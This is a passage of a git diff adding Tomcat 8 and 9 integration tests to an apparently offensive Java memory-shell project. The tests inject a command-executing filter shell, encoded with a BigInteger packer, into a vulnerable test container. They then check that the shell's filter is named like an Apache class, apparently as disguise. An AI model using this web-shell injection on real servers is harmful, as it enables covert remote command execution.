com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import org.objectweb.asm.Opcodes; import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -47,7 +54,9 @@ public class Tomcat8ContainerTest { void testBasicInfo() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + Files.writeString( + Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), + data); } @Test @@ -78,4 +87,24 @@ public class Tomcat8ContainerTest { ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_8); ProbeAssertion.responseBytecodeWithoutPrefixIsOk(url, Server.Tomcat, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java index 64938250..7091de36 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java @@ -4,11 +4,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import org.objectweb.asm.Opcodes; import org.junit.jupiter.api.Test; import org.junitpioneer.jupiter.RetryingTest; +import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; @@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -70,4 +77,24 @@ public class Tomcat9ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V9); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/settings.gradle.kts b/settings.gradle.kts index a7da5cf1..8673ebbd 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -17,6 +17,7 @@ plugins { dependencyResolutionManagement { repositoriesMode = RepositoriesMode.FAIL_ON_PROJECT_REPOS repositories { + mavenLocal() mavenCentral() maven("https://packages.jetbrains.team/maven/p/ij/intellij-dependencies") maven("https://www.jitpack.io")